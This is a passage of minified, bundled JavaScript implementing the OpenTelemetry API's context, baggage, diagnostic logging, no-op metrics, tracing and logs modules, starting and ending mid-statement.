N49.DiagComponentLogger(Y)},K.verbose=A("verbose"),K.debug=A("debug"),K.info=A("info"),K.warn=A("warn"),K.error=A("error")}static instance(){if(!this._instance)this._instance=new iq6;return this._instance}}dZ4.DiagAPI=iq6});var nZ4=v((lZ4)=>{Object.defineProperty(lZ4,"__esModule",{value:!0});lZ4.BaggageImpl=void 0;class nXA{constructor(A){this._entries=A?new Map(A):new Map}getEntry(A){let K=this._entries.get(A);if(!K)return;return Object.assign({},K)}getAllEntries(){return Array.from(this._entries.entries()).map(([A,K])=>[A,K])}setEntry(A,K){let q=new nXA(this._entries);return q._entries.set(A,K),q}removeEntry(A){let K=new nXA(this._entries);return K._entries.delete(A),K}removeEntries(...A){let K=new nXA(this._entries);for(let q of A)K._entries.delete(q);return K}clear(){return new nXA}}lZ4.BaggageImpl=nXA});var aZ4=v((rZ4)=>{Object.defineProperty(rZ4,"__esModule",{value:!0});rZ4.baggageEntryMetadataSymbol=void 0;rZ4.baggageEntryMetadataSymbol=Symbol("BaggageEntryMetadata")});var nq6=v((sZ4)=>{Object.defineProperty(sZ4,"__esModule",{value:!0});sZ4.baggageEntryMetadataFromString=sZ4.createBaggage=void 0;var E49=x4A(),k49=nZ4(),C49=aZ4(),L49=E49.DiagAPI.instance();function R49(A={}){return new k49.BaggageImpl(new Map(Object.entries(A)))}sZ4.createBaggage=R49;function y49(A){if(typeof A!=="string")L49.error(`Cannot create baggage metadata from unknown type: ${typeof A}`),A="";return{__TYPE__:C49.baggageEntryMetadataSymbol,toString(){return A}}}sZ4.baggageEntryMetadataFromString=y49});var VIA=v((eZ4)=>{Object.defineProperty(eZ4,"__esModule",{value:!0});eZ4.ROOT_CONTEXT=eZ4.createContextKey=void 0;function S49(A){return Symbol.for(A)}eZ4.createContextKey=S49;class c31{constructor(A){let K=this;K._currentContext=A?new Map(A):new Map,K.getValue=(q)=>K._currentContext.get(q),K.setValue=(q,Y)=>{let z=new c31(K._currentContext);return z._currentContext.set(q,Y),z},K.deleteValue=(q)=>{let Y=new c31(K._currentContext);return Y._currentContext.delete(q),Y}}}eZ4.ROOT_CONTEXT=new c31});var zW4=v((qW4)=>{Object.defineProperty(qW4,"__esModule",{value:!0});qW4.DiagConsoleLogger=void 0;var rq6=[{n:"error",c:"error"},{n:"warn",c:"warn"},{n:"info",c:"info"},{n:"debug",c:"debug"},{n:"verbose",c:"trace"}];class KW4{constructor(){function A(K){return function(...q){if(console){let Y=console[K];if(typeof Y!=="function")Y=console.log;if(typeof Y==="function")return Y.apply(console,q)}}}for(let K=0;K<rq6.length;K++)this[rq6[K].n]=A(rq6[K].c)}}qW4.DiagConsoleLogger=KW4});var Y56=v((wW4)=>{Object.defineProperty(wW4,"__esModule",{value:!0});wW4.createNoopMeter=wW4.NOOP_OBSERVABLE_UP_DOWN_COUNTER_METRIC=wW4.NOOP_OBSERVABLE_GAUGE_METRIC=wW4.NOOP_OBSERVABLE_COUNTER_METRIC=wW4.NOOP_UP_DOWN_COUNTER_METRIC=wW4.NOOP_HISTOGRAM_METRIC=wW4.NOOP_GAUGE_METRIC=wW4.NOOP_COUNTER_METRIC=wW4.NOOP_METER=wW4.NoopObservableUpDownCounterMetric=wW4.NoopObservableGaugeMetric=wW4.NoopObservableCounterMetric=wW4.NoopObservableMetric=wW4.NoopHistogramMetric=wW4.NoopGaugeMetric=wW4.NoopUpDownCounterMetric=wW4.NoopCounterMetric=wW4.NoopMetric=wW4.NoopMeter=void 0;class oq6{constructor(){}createGauge(A,K){return wW4.NOOP_GAUGE_METRIC}createHistogram(A,K){return wW4.NOOP_HISTOGRAM_METRIC}createCounter(A,K){return wW4.NOOP_COUNTER_METRIC}createUpDownCounter(A,K){return wW4.NOOP_UP_DOWN_COUNTER_METRIC}createObservableGauge(A,K){return wW4.NOOP_OBSERVABLE_GAUGE_METRIC}createObservableCounter(A,K){return wW4.NOOP_OBSERVABLE_COUNTER_METRIC}createObservableUpDownCounter(A,K){return wW4.NOOP_OBSERVABLE_UP_DOWN_COUNTER_METRIC}addBatchObservableCallback(A,K){}removeBatchObservableCallback(A){}}wW4.NoopMeter=oq6;class rXA{}wW4.NoopMetric=rXA;class aq6 extends rXA{add(A,K){}}wW4.NoopCounterMetric=aq6;class sq6 extends rXA{add(A,K){}}wW4.NoopUpDownCounterMetric=sq6;class tq6 extends rXA{record(A,K){}}wW4.NoopGaugeMetric=tq6;class eq6 extends rXA{record(A,K){}}wW4.NoopHistogramMetric=eq6;class fIA{addCallback(A){}removeCallback(A){}}wW4.NoopObservableMetric=fIA;class A56 extends fIA{}wW4.NoopObservableCounterMetric=A56;class K56 extends fIA{}wW4.NoopObservableGaugeMetric=K56;class q56 extends fIA{}wW4.NoopObservableUpDownCounterMetric=q56;wW4.NOOP_METER=new oq6;wW4.NOOP_COUNTER_METRIC=new aq6;wW4.NOOP_GAUGE_METRIC=new tq6;wW4.NOOP_HISTOGRAM_METRIC=new eq6;wW4.NOOP_UP_DOWN_COUNTER_METRIC=new sq6;wW4.NOOP_OBSERVABLE_COUNTER_METRIC=new A56;wW4.NOOP_OBSERVABLE_GAUGE_METRIC=new K56;wW4.NOOP_OBSERVABLE_UP_DOWN_COUNTER_METRIC=new q56;function b49(){return wW4.NOOP_METER}wW4.createNoopMeter=b49});var jW4=v((DW4)=>{Object.defineProperty(DW4,"__esModule",{value:!0});DW4.ValueType=void 0;var c49;(function(A){A[A.INT=0]="INT",A[A.DOUBLE=1]="DOUBLE"})(c49=DW4.ValueType||(DW4.ValueType={}))});var w56=v((MW4)=>{Object.defineProperty(MW4,"__esModule",{value:!0});MW4.defaultTextMapSetter=MW4.defaultTextMapGetter=void 0;MW4.defaultTextMapGetter={get(A,K){if(A==null)return;return A[K]},keys(A){if(A==null)return[];return Object.keys(A)}};MW4.defaultTextMapSetter={set(A,K,q){if(A==null)return;A[K]=q}}});var TW4=v((fW4)=>{Object.defineProperty(fW4,"__esModule",{value:!0});fW4.NoopContextManager=void 0;var i49=VIA();class VW4{active(){return i49.ROOT_CONTEXT}with(A,K,q,...Y){return K.call(q,...Y)}bind(A,K){return K}enable(){return this}disable(){return this}}fW4.NoopContextManager=VW4});var NIA=v((EW4)=>{Object.defineProperty(EW4,"__esModule",{value:!0});EW4.ContextAPI=void 0;var n49=TW4(),H56=b4A(),vW4=x4A(),J56="context",r49=new n49.NoopContextManager;class O56{constructor(){}static getInstance(){if(!this._instance)this._instance=new O56;return this._instance}setGlobalContextManager(A){return(0,H56.registerGlobal)(J56,A,vW4.DiagAPI.instance())}active(){return this._getContextManager().active()}with(A,K,q,...Y){return this._getContextManager().with(A,K,q,...Y)}bind(A,K){return this._getContextManager().bind(A,K)}_getContextManager(){return(0,H56.getGlobal)(J56)||r49}disable(){this._getContextManager().disable(),(0,H56.unregisterGlobal)(J56,vW4.DiagAPI.instance())}}EW4.ContextAPI=O56});var $56=v((CW4)=>{Object.defineProperty(CW4,"__esModule",{value:!0});CW4.TraceFlags=void 0;var o49;(function(A){A[A.NONE=0]="NONE",A[A.SAMPLED=1]="SAMPLED"})(o49=CW4.TraceFlags||(CW4.TraceFlags={}))});var l31=v((LW4)=>{Object.defineProperty(LW4,"__esModule",{value:!0});LW4.INVALID_SPAN_CONTEXT=LW4.INVALID_TRACEID=LW4.INVALID_SPANID=void 0;var a49=$56();LW4.INVALID_SPANID="0000000000000000";LW4.INVALID_TRACEID="00000000000000000000000000000000";LW4.INVALID_SPAN_CONTEXT={traceId:LW4.INVALID_TRACEID,spanId:LW4.INVALID_SPANID,traceFlags:a49.TraceFlags.NONE}});var i31=v((hW4)=>{Object.defineProperty(hW4,"__esModule",{value:!0});hW4.NonRecordingSpan=void 0;var s49=l31();class SW4{constructor(A=s49.INVALID_SPAN_CONTEXT){this._spanContext=A}spanContext(){return this._spanContext}setAttribute(A,K){return this}setAttributes(A){return this}addEvent(A,K){return this}addLink(A){return this}addLinks(A){return this}setStatus(A){return this}updateName(A){return this}end(A){}isRecording(){return!1}recordException(A,K){}}hW4.NonRecordingSpan=SW4});var Z56=v((uW4)=>{Object.defineProperty(uW4,"__esModule",{value:!0});uW4.getSpanContext=uW4.setSpanContext=uW4.deleteSpan=uW4.setSpan=uW4.getActiveSpan=uW4.getSpan=void 0;var t49=VIA(),e49=i31(),A79=NIA(),_56=(0,t49.createContextKey)("OpenTelemetry Context Key SPAN");function G56(A){return A.getValue(_56)||void 0}uW4.getSpan=G56;function K79(){return G56(A79.ContextAPI.getInstance().active())}uW4.getActiveSpan=K79;function xW4(A,K){return A.setValue(_56,K)}uW4.setSpan=xW4;function q79(A){return A.deleteValue(_56)}uW4.deleteSpan=q79;function Y79(A,K){return xW4(A,new e49.NonRecordingSpan(K))}uW4.setSpanContext=Y79;function z79(A){var K;return(K=G56(A))===null||K===void 0?void 0:K.spanContext()}uW4.getSpanContext=z79});var n31=v((QW4)=>{Object.defineProperty(QW4,"__esModule",{value:!0});QW4.wrapSpanContext=QW4.isSpanContextValid=QW4.isValidSpanId=QW4.isValidTraceId=void 0;var mW4=l31(),$79=i31(),_79=/^([0-9a-f]{32})$/i,G79=/^[0-9a-f]{16}$/i;function gW4(A){return _79.test(A)&&A!==mW4.INVALID_TRACEID}QW4.isValidTraceId=gW4;function FW4(A){return G79.test(A)&&A!==mW4.INVALID_SPANID}QW4.isValidSpanId=FW4;function Z79(A){return gW4(A.traceId)&&FW4(A.spanId)}QW4.isSpanContextValid=Z79;function W79(A){return new $79.NonRecordingSpan(A)}QW4.wrapSpanContext=W79});var j56=v((cW4)=>{Object.defineProperty(cW4,"__esModule",{value:!0});cW4.NoopTracer=void 0;var P79=NIA(),pW4=Z56(),W56=i31(),V79=n31(),D56=P79.ContextAPI.getInstance();class dW4{startSpan(A,K,q=D56.active()){if(Boolean(K===null||K===void 0?void 0:K.root))return new W56.NonRecordingSpan;let z=q&&(0,pW4.getSpanContext)(q);if(f79(z)&&(0,V79.isSpanContextValid)(z))return new W56.NonRecordingSpan(z);else return new W56.NonRecordingSpan}startActiveSpan(A,K,q,Y){let z,w,H;if(arguments.length<2)return;else if(arguments.length===2)H=K;else if(arguments.length===3)z=K,H=q;else z=K,w=q,H=Y;let J=w!==null&&w!==void 0?w:D56.active(),O=this.startSpan(A,z,J),X=(0,pW4.setSpan)(J,O);return D56.with(X,H,void 0,O)}}cW4.NoopTracer=dW4;function f79(A){return typeof A==="object"&&typeof A.spanId==="string"&&typeof A.traceId==="string"&&typeof A.traceFlags==="number"}});var M56=v((nW4)=>{Object.defineProperty(nW4,"__esModule",{value:!0});nW4.ProxyTracer=void 0;var N79=j56(),T79=new N79.NoopTracer;class iW4{constructor(A,K,q,Y){this._provider=A,this.name=K,this.version=q,this.options=Y}startSpan(A,K,q){return this._getTracer().startSpan(A,K,q)}startActiveSpan(A,K,q,Y){let z=this._getTracer();return Reflect.apply(z.startActiveSpan,z,arguments)}_getTracer(){if(this._delegate)return this._delegate;let A=this._provider.getDelegateTracer(this.name,this.version,this.options);if(!A)return T79;return this._delegate=A,this._delegate}}nW4.ProxyTracer=iW4});var tW4=v((aW4)=>{Object.defineProperty(aW4,"__esModule",{value:!0});aW4.NoopTracerProvider=void 0;var v79=j56();class oW4{getTracer(A,K,q){return new v79.NoopTracer}}aW4.NoopTracerProvider=oW4});var P56=v((AD4)=>{Object.defineProperty(AD4,"__esModule",{value:!0});AD4.ProxyTracerProvider=void 0;var E79=M56(),k79=tW4(),C79=new k79.NoopTracerProvider;class eW4{getTracer(A,K,q){var Y;return(Y=this.getDelegateTracer(A,K,q))!==null&&Y!==void 0?Y:new E79.ProxyTracer(this,A,K,q)}getDelegate(){var A;return(A=this._delegate)!==null&&A!==void 0?A:C79}setDelegate(A){this._delegate=A}getDelegateTracer(A,K,q){var Y;return(Y=this._delegate)===null||Y===void 0?void 0:Y.getTracer(A,K,q)}}AD4.ProxyTracerProvider=eW4});var YD4=v((qD4)=>{Object.defineProperty(qD4,"__esModule",{value:!0});qD4.SamplingDecision=void 0;var L79;(function(A){A[A.NOT_RECORD=0]="NOT_RECORD",A[A.RECORD=1]="RECORD",A[A.RECORD_AND_SAMPLED=2]="RECORD_AND_SAMPLED"})(L79=qD4.SamplingDecision||(qD4.SamplingDecision={}))});var wD4=v((zD4)=>{Object.defineProperty(zD4,"__esModule",{value:!0});zD4.SpanKind=void 0;var R79;(function(A){A[A.INTERNAL=0]="INTERNAL",A[A.SERVER=1]="SERVER",A[A.CLIENT=2]="CLIENT",A[A.PRODUCER=3]="PRODUCER",A[A.CONSUMER=4]="CONSUMER"})(R79=zD4.SpanKind||(zD4.SpanKind={}))});var JD4=v((HD4)=>{Object.defineProperty(HD4,"__esModule",{value:!0});HD4.SpanStatusCode=void 0;var y79;(function(A){A[A.UNSET=0]="UNSET",A[A.OK=1]="OK",A[A.ERROR=2]="ERROR"})(y79=HD4.SpanStatusCode||(HD4.SpanStatusCode={}))});var $D4=v((OD4)=>{Object.defineProperty(OD4,"__esModule",{value:!0});OD4.validateValue=OD4.validateKey=void 0;var T56="[_0-9a-z-*/]",I79=`[a-z]${T56}{0,255}`,S79=`[a-z0-9]${T56}{0,240}@[a-z]${T56}{0,13}`,h79=new RegExp(`^(?:${I79}|${S79})$`),b79=/^[ -~]{0,255}[!-~]$/,x79=/,|=/;function u79(A){return h79.test(A)}OD4.validateKey=u79;function B79(A){return b79.test(A)&&!x79.test(A)}OD4.validateValue=B79});var MD4=v((DD4)=>{Object.defineProperty(DD4,"__esModule",{value:!0});DD4.TraceStateImpl=void 0;var _D4=$D4(),GD4=32,g79=512,ZD4=",",WD4="=";class v56{constructor(A){if(this._internalState=new Map,A)this._parse(A)}set(A,K){let q=this._clone();if(q._internalState.has(A))q._internalState.delete(A);return q._internalState.set(A,K),q}unset(A){let K=this._clone();return K._internalState.delete(A),K}get(A){return this._internalState.get(A)}serialize(){return this._keys().reduce((A,K)=>{return A.push(K+WD4+this.get(K)),A},[]).join(ZD4)}_parse(A){if(A.length>g79)return;if(this._internalState=A.split(ZD4).reverse().reduce((K,q)=>{let Y=q.trim(),z=Y.indexOf(WD4);if(z!==-1){let w=Y.slice(0,z),H=Y.slice(z+1,q.length);if((0,_D4.validateKey)(w)&&(0,_D4.validateValue)(H))K.set(w,H)}return K},new Map),this._internalState.size>GD4)this._internalState=new Map(Array.from(this._internalState.entries()).reverse().slice(0,GD4))}_keys(){return Array.from(this._internalState.keys()).reverse()}_clone(){let A=new v56;return A._internalState=new Map(this._internalState),A}}DD4.TraceStateImpl=v56});var fD4=v((PD4)=>{Object.defineProperty(PD4,"__esModule",{value:!0});PD4.createTraceState=void 0;var F79=MD4();function Q79(A){return new F79.TraceStateImpl(A)}PD4.createTraceState=Q79});var vD4=v((ND4)=>{Object.defineProperty(ND4,"__esModule",{value:!0});ND4.context=void 0;var U79=NIA();ND4.context=U79.ContextAPI.getInstance()});var CD4=v((ED4)=>{Object.defineProperty(ED4,"__esModule",{value:!0});ED4.diag=void 0;var p79=x4A();ED4.diag=p79.DiagAPI.instance()});var yD4=v((LD4)=>{Object.defineProperty(LD4,"__esModule",{value:!0});LD4.NOOP_METER_PROVIDER=LD4.NoopMeterProvider=void 0;var d79=Y56();class E56{getMeter(A,K,q){return d79.NOOP_METER}}LD4.NoopMeterProvider=E56;LD4.NOOP_METER_PROVIDER=new E56});var bD4=v((SD4)=>{Object.defineProperty(SD4,"__esModule",{value:!0});SD4.MetricsAPI=void 0;var l79=yD4(),k56=b4A(),ID4=x4A(),C56="metrics";class L56{constructor(){}static getInstance(){if(!this._instance)this._instance=new L56;return this._instance}setGlobalMeterProvider(A){return(0,k56.registerGlobal)(C56,A,ID4.DiagAPI.instance())}getMeterProvider(){return(0,k56.getGlobal)(C56)||l79.NOOP_METER_PROVIDER}getMeter(A,K,q){return this.getMeterProvider().getMeter(A,K,q)}disable(){(0,k56.unregisterGlobal)(C56,ID4.DiagAPI.instance())}}SD4.MetricsAPI=L56});var BD4=v((xD4)=>{Object.defineProperty(xD4,"__esModule",{value:!0});xD4.metrics=void 0;var i79=bD4();xD4.metrics=i79.MetricsAPI.getInstance()});var QD4=v((gD4)=>{Object.defineProperty(gD4,"__esModule",{value:!0});gD4.NoopTextMapPropagator=void 0;class mD4{inject(A,K){}extract(A,K){return A}fields(){return[]}}gD4.NoopTextMapPropagator=mD4});var cD4=v((pD4)=>{Object.defineProperty(pD4,"__esModule",{value:!0});pD4.deleteBaggage=pD4.setBaggage=pD4.getActiveBaggage=pD4.getBaggage=void 0;var n79=NIA(),r79=VIA(),R56=(0,r79.createContextKey)("OpenTelemetry Baggage Key");function UD4(A){return A.getValue(R56)||void 0}pD4.getBaggage=UD4;function o79(){return UD4(n79.ContextAPI.getInstance().active())}pD4.getActiveBaggage=o79;function a79(A,K){return A.setValue(R56,K)}pD4.setBaggage=a79;function s79(A){return A.deleteValue(R56)}pD4.deleteBaggage=s79});var oD4=v((nD4)=>{Object.defineProperty(nD4,"__esModule",{value:!0});nD4.PropagationAPI=void 0;var y56=b4A(),KK9=QD4(),lD4=w56(),r31=cD4(),qK9=nq6(),iD4=x4A(),I56="propagation",YK9=new KK9.NoopTextMapPropagator;class S56{constructor(){this.createBaggage=qK9.createBaggage,this.getBaggage=r31.getBaggage,this.getActiveBaggage=r31.getActiveBaggage,this.setBaggage=r31.setBaggage,this.deleteBaggage=r31.deleteBaggage}static getInstance(){if(!this._instance)this._instance=new S56;return this._instance}setGlobalPropagator(A){return(0,y56.registerGlobal)(I56,A,iD4.DiagAPI.instance())}inject(A,K,q=lD4.defaultTextMapSetter){return this._getGlobalPropagator().inject(A,K,q)}extract(A,K,q=lD4.defaultTextMapGetter){return this._getGlobalPropagator().extract(A,K,q)}fields(){return this._getGlobalPropagator().fields()}disable(){(0,y56.unregisterGlobal)(I56,iD4.DiagAPI.instance())}_getGlobalPropagator(){return(0,y56.getGlobal)(I56)||YK9}}nD4.PropagationAPI=S56});var tD4=v((aD4)=>{Object.defineProperty(aD4,"__esModule",{value:!0});aD4.propagation=void 0;var zK9=oD4();aD4.propagation=zK9.PropagationAPI.getInstance()});var zj4=v((qj4)=>{Object.defineProperty(qj4,"__esModule",{value:!0});qj4.TraceAPI=void 0;var h56=b4A(),eD4=P56(),Aj4=n31(),oXA=Z56(),Kj4=x4A(),b56="trace";class x56{constructor(){this._proxyTracerProvider=new eD4.ProxyTracerProvider,this.wrapSpanContext=Aj4.wrapSpanContext,this.isSpanContextValid=Aj4.isSpanContextValid,this.deleteSpan=oXA.deleteSpan,this.getSpan=oXA.getSpan,this.getActiveSpan=oXA.getActiveSpan,this.getSpanContext=oXA.getSpanContext,this.setSpan=oXA.setSpan,this.setSpanContext=oXA.setSpanContext}static getInstance(){if(!this._instance)this._instance=new x56;return this._instance}setGlobalTracerProvider(A){let K=(0,h56.registerGlobal)(b56,this._proxyTracerProvider,Kj4.DiagAPI.instance());if(K)this._proxyTracerProvider.setDelegate(A);return K}getTracerProvider(){return(0,h56.getGlobal)(b56)||this._proxyTracerProvider}getTracer(A,K){return this.getTracerProvider().getTracer(A,K)}disable(){(0,h56.unregisterGlobal)(b56,Kj4.DiagAPI.instance()),this._proxyTracerProvider=new eD4.ProxyTracerProvider}}qj4.TraceAPI=x56});var Jj4=v((wj4)=>{Object.defineProperty(wj4,"__esModule",{value:!0});wj4.trace=void 0;var wK9=zj4();wj4.trace=wK9.TraceAPI.getInstance()});var RK=v((fz)=>{Object.defineProperty(fz,"__esModule",{value:!0});fz.trace=fz.propagation=fz.metrics=fz.diag=fz.context=fz.INVALID_SPAN_CONTEXT=fz.INVALID_TRACEID=fz.INVALID_SPANID=fz.isValidSpanId=fz.isValidTraceId=fz.isSpanContextValid=fz.createTraceState=fz.TraceFlags=fz.SpanStatusCode=fz.SpanKind=fz.SamplingDecision=fz.ProxyTracerProvider=fz.ProxyTracer=fz.defaultTextMapSetter=fz.defaultTextMapGetter=fz.ValueType=fz.createNoopMeter=fz.DiagLogLevel=fz.DiagConsoleLogger=fz.ROOT_CONTEXT=fz.createContextKey=fz.baggageEntryMetadataFromString=void 0;var HK9=nq6();Object.defineProperty(fz,"baggageEntryMetadataFromString",{enumerable:!0,get:function(){return HK9.baggageEntryMetadataFromString}});var Oj4=VIA();Object.defineProperty(fz,"createContextKey",{enumerable:!0,get:function(){return Oj4.createContextKey}});Object.defineProperty(fz,"ROOT_CONTEXT",{enumerable:!0,get:function(){return Oj4.ROOT_CONTEXT}});var JK9=zW4();Object.defineProperty(fz,"DiagConsoleLogger",{enumerable:!0,get:function(){return JK9.DiagConsoleLogger}});var OK9=p31();Object.defineProperty(fz,"DiagLogLevel",{enumerable:!0,get:function(){return OK9.DiagLogLevel}});var XK9=Y56();Object.defineProperty(fz,"createNoopMeter",{enumerable:!0,get:function(){return XK9.createNoopMeter}});var $K9=jW4();Object.defineProperty(fz,"ValueType",{enumerable:!0,get:function(){return $K9.ValueType}});var Xj4=w56();Object.defineProperty(fz,"defaultTextMapGetter",{enumerable:!0,get:function(){return Xj4.defaultTextMapGetter}});Object.defineProperty(fz,"defaultTextMapSetter",{enumerable:!0,get:function(){return Xj4.defaultTextMapSetter}});var _K9=M56();Object.defineProperty(fz,"ProxyTracer",{enumerable:!0,get:function(){return _K9.ProxyTracer}});var GK9=P56();Object.defineProperty(fz,"ProxyTracerProvider",{enumerable:!0,get:function(){return GK9.ProxyTracerProvider}});var ZK9=YD4();Object.defineProperty(fz,"SamplingDecision",{enumerable:!0,get:function(){return ZK9.SamplingDecision}});var WK9=wD4();Object.defineProperty(fz,"SpanKind",{enumerable:!0,get:function(){return WK9.SpanKind}});var DK9=JD4();Object.defineProperty(fz,"SpanStatusCode",{enumerable:!0,get:function(){return DK9.SpanStatusCode}});var jK9=$56();Object.defineProperty(fz,"TraceFlags",{enumerable:!0,get:function(){return jK9.TraceFlags}});var MK9=fD4();Object.defineProperty(fz,"createTraceState",{enumerable:!0,get:function(){return MK9.createTraceState}});var u56=n31();Object.defineProperty(fz,"isSpanContextValid",{enumerable:!0,get:function(){return u56.isSpanContextValid}});Object.defineProperty(fz,"isValidTraceId",{enumerable:!0,get:function(){return u56.isValidTraceId}});Object.defineProperty(fz,"isValidSpanId",{enumerable:!0,get:function(){return u56.isValidSpanId}});var B56=l31();Object.defineProperty(fz,"INVALID_SPANID",{enumerable:!0,get:function(){return B56.INVALID_SPANID}});Object.defineProperty(fz,"INVALID_TRACEID",{enumerable:!0,get:function(){return B56.INVALID_TRACEID}});Object.defineProperty(fz,"INVALID_SPAN_CONTEXT",{enumerable:!0,get:function(){return B56.INVALID_SPAN_CONTEXT}});var $j4=vD4();Object.defineProperty(fz,"context",{enumerable:!0,get:function(){return $j4.context}});var _j4=CD4();Object.defineProperty(fz,"diag",{enumerable:!0,get:function(){return _j4.diag}});var Gj4=BD4();Object.defineProperty(fz,"metrics",{enumerable:!0,get:function(){return Gj4.metrics}});var Zj4=tD4();Object.defineProperty(fz,"propagation",{enumerable:!0,get:function(){return Zj4.propagation}});var Wj4=Jj4();Object.defineProperty(fz,"trace",{enumerable:!0,get:function(){return Wj4.trace}});fz.default={context:$j4.context,diag:_j4.diag,metrics:Gj4.metrics,propagation:Zj4.propagation,trace:Wj4.trace}});var jj4=v((Dj4)=>{Object.defineProperty(Dj4,"__esModule",{value:!0});Dj4.SeverityNumber=void 0;var fK9;(function(A){A[A.UNSPECIFIED=0]="UNSPECIFIED",A[A.TRACE=1]="TRACE",A[A.TRACE2=2]="TRACE2",A[A.TRACE3=3]="TRACE3",A[A.TRACE4=4]="TRACE4",A[A.DEBUG=5]="DEBUG",A[A.DEBUG2=6]="DEBUG2",A[A.DEBUG3=7]="DEBUG3",A[A.DEBUG4=8]="DEBUG4",A[A.INFO=9]="INFO",A[A.INFO2=10]="INFO2",A[A.INFO3=11]="INFO3",A[A.INFO4=12]="INFO4",A[A.WARN=13]="WARN",A[A.WARN2=14]="WARN2",A[A.WARN3=15]="WARN3",A[A.WARN4=16]="WARN4",A[A.ERROR=17]="ERROR",A[A.ERROR2=18]="ERROR2",A[A.ERROR3=19]="ERROR3",A[A.ERROR4=20]="ERROR4",A[A.FATAL=21]="FATAL",A[A.FATAL2=22]="FATAL2",A[A.FATAL3=23]="FATAL3",A[A.FATAL4=24]="FATAL4"})(fK9=Dj4.SeverityNumber||(Dj4.SeverityNumber={}))});var o31=v((Mj4)=>{Object.defineProperty(Mj4,"__esModule",{value:!0});Mj4.NOOP_LOGGER=Mj4.NoopLogger=void 0;class g56{emit(A){}}Mj4.NoopLogger=g56;Mj4.NOOP_LOGGER=new g56});var Q56=v((Vj4)=>{Object.defineProperty(Vj4,"__esModule",{value:!0});Vj4.NOOP_LOGGER_PROVIDER=Vj4.NoopLoggerProvider=void 0;var TK9=o31();class F56{getLogger(A,K,q){return new TK9.NoopLogger}}Vj4.NoopLoggerProvider=F56;Vj4.NOOP_LOGGER_PROVIDER=new F56});var Ej4=v((Tj4)=>{Object.defineProperty(Tj4,"__esModule",{value:!0});Tj4.ProxyLogger=void 0;var EK9=o31();class Nj4{constructor(A,K,q,Y){this._provider=A,this.name=K,this.version=q,this.options=Y}emit(A){this._getLogger().emit(A)}_getLogger(){if(this._delegate)return this._delegate;let A=this._provider._getDelegateLogger(this.name,this.version,this.options);if(!A)return EK9.NOOP_LOGGER;return this._delegate=A,this._delegate}}Tj4.ProxyLogger=Nj4});var U56=v((Cj4)=>{Object.defineProperty(Cj4,"__esModule",{value:!0});Cj4.ProxyLoggerProvider=void 0;var kK9=Q56(),CK9=Ej4();class kj4{getLogger(A,K,q){var Y;return(Y=this._getDelegateLogger(A,K,q))!==null&&Y!==void 0?Y:new CK9.ProxyLogger(this,A,K,q)}_getDelegate(){var A;return(A=this._delegate)!==null&&A!==void 0?A:kK9.NOOP_LOGGER_PROVIDER}_setDelegate(A){this._delegate=A}_getDelegateLogger(A,K,q){var Y;return(Y=this._delegate)===null||Y===void 0?void 0:Y.getLogger(A,K,q)}}Cj4.ProxyLoggerProvider=kj4});var Ij4=v((Rj4)=>{Object.defineProperty(Rj4,"__esModule",{value:!0});Rj4._globalThis=void 0;Rj4._globalThis=typeof globalThis==="object"?globalThis:global});var Sj4=v((p56)=>{Object.defineProperty(p56,"__esModule",{value:!0});p56._globalThis=void 0;var LK9=Ij4();Object.defineProperty(p56,"_globalThis",{enumerable:!0,get:function(){return LK9._globalThis}})});var hj4=v((d56)=>{Object.defineProperty(d56,"__esModule",{value:!0});d56._globalThis=void 0;var yK9=Sj4();Object.defineProperty(d56,"_globalThis",{enumerable:!0,get:function(){return yK9._globalThis}})});var uj4=v((bj4)=>{Object.defineProperty(bj4,"__esModule",{value:!0});bj4.API_BACKWARDS_COMPATIBILITY_VERSION=bj4.makeGetter=bj4._global=bj4.GLOBAL_LOGS_API_KEY=void 0;var SK9=hj4();bj4.GLOBAL_LOGS_API_KEY=Symbol.for("io.opentelemetry.js.api.logs");bj4._global=SK9._globalThis;function hK9(A,K,q){return(Y)=>Y===A?K:q}bj4.makeGetter=hK9;bj4.API_BACKWARDS_COMPATIBILITY_VERSION=1});var Fj4=v((mj4)=>{Object.defineProperty(mj4,"__esModule",{value:!0});mj4.LogsAPI=void 0;var ck=uj4(),BK9=Q56(),Bj4=U56();class c56{constructor(){this._proxyLoggerProvider=new Bj4.ProxyLoggerProvider}static getInstance(){if(!this._instance)this._instance=new c56;return this._instance}setGlobalLoggerProvider(A){if(ck._global[ck.GLOBAL_LOGS_API_KEY])return this.getLoggerProvider();return ck._global[ck.GLOBAL_LOGS_API_KEY]=(0,ck.makeGetter)(ck.API_BACKWARDS_COMPATIBILITY_VERSION,A,BK9.NOOP_LOGGER_PROVIDER),this._proxyLoggerProvider._setDelegate(A),A}getLoggerProvider(){var A,K;return(K=(A=ck._global[ck.GLOBAL_LOGS_API_KEY])===null||A===void 0?void 0:A.call(ck._global,ck.API_BACKWARDS_COMPATIBILITY_VERSION))!==null&&K!==void 0?K:this._proxyLoggerProvider}getLogger(A,K,q){return this.getLoggerProvider().getLogger(A,K,q)}disable(){delete ck._global[ck.GLOBAL_LOGS_API_KEY],this._proxyLoggerProvider=new Bj4.ProxyLoggerProvider}}mj4.LogsAPI=c56});var l56=v((aXA)=>{Object.defineProperty(aXA,"__esModule",{value:!0});aXA.logs=aXA.ProxyLoggerProvider=aXA.NoopLogger=aXA.NOOP_LOGGER=aXA.SeverityNumber=void 0;var mK9=jj4();Object.defineProperty(aXA,"SeverityNumber",{enumerable:!0,get:function(){return mK9.SeverityNumber}});var Qj4=o31();Object.defineProperty(aXA,"NOOP_LOGGER",{enumerable:!0,get:function(){return Qj4.NOOP_LOGGER}});Object.defineProperty(aXA,"NoopLogger",{enumerable:!0,get:function(){return Qj4.NoopLogger}});var gK9=U56();Object.defineProperty(aXA,"ProxyLoggerProvider",{enumerable:!0,get:function(){return gK9.ProxyLoggerProvider}});var FK9=Fj4();aXA.logs=FK9.LogsAPI.getInstance()});var TIA=v((pj4)=>{Object.defineProperty(pj4,"__esModule",{value:!0});pj4.isTracingSuppressed=pj4.unsuppressTracing=pj4.suppressTracing=void 0;var QK9=RK(),i56=(0,QK9.createContextKey)("OpenTelemetry SDK Context Key SUPPRESS_TRACING");function UK9(A){return A.setValue(i56,!0)}pj4.suppressTracing=UK9;function pK9(A){return A.deleteValue(i56)}pj4.unsuppressTracing=pK9;function dK9(A){return A.getValue(i56)===!0}pj4.isTracingSuppressed=dK9});var 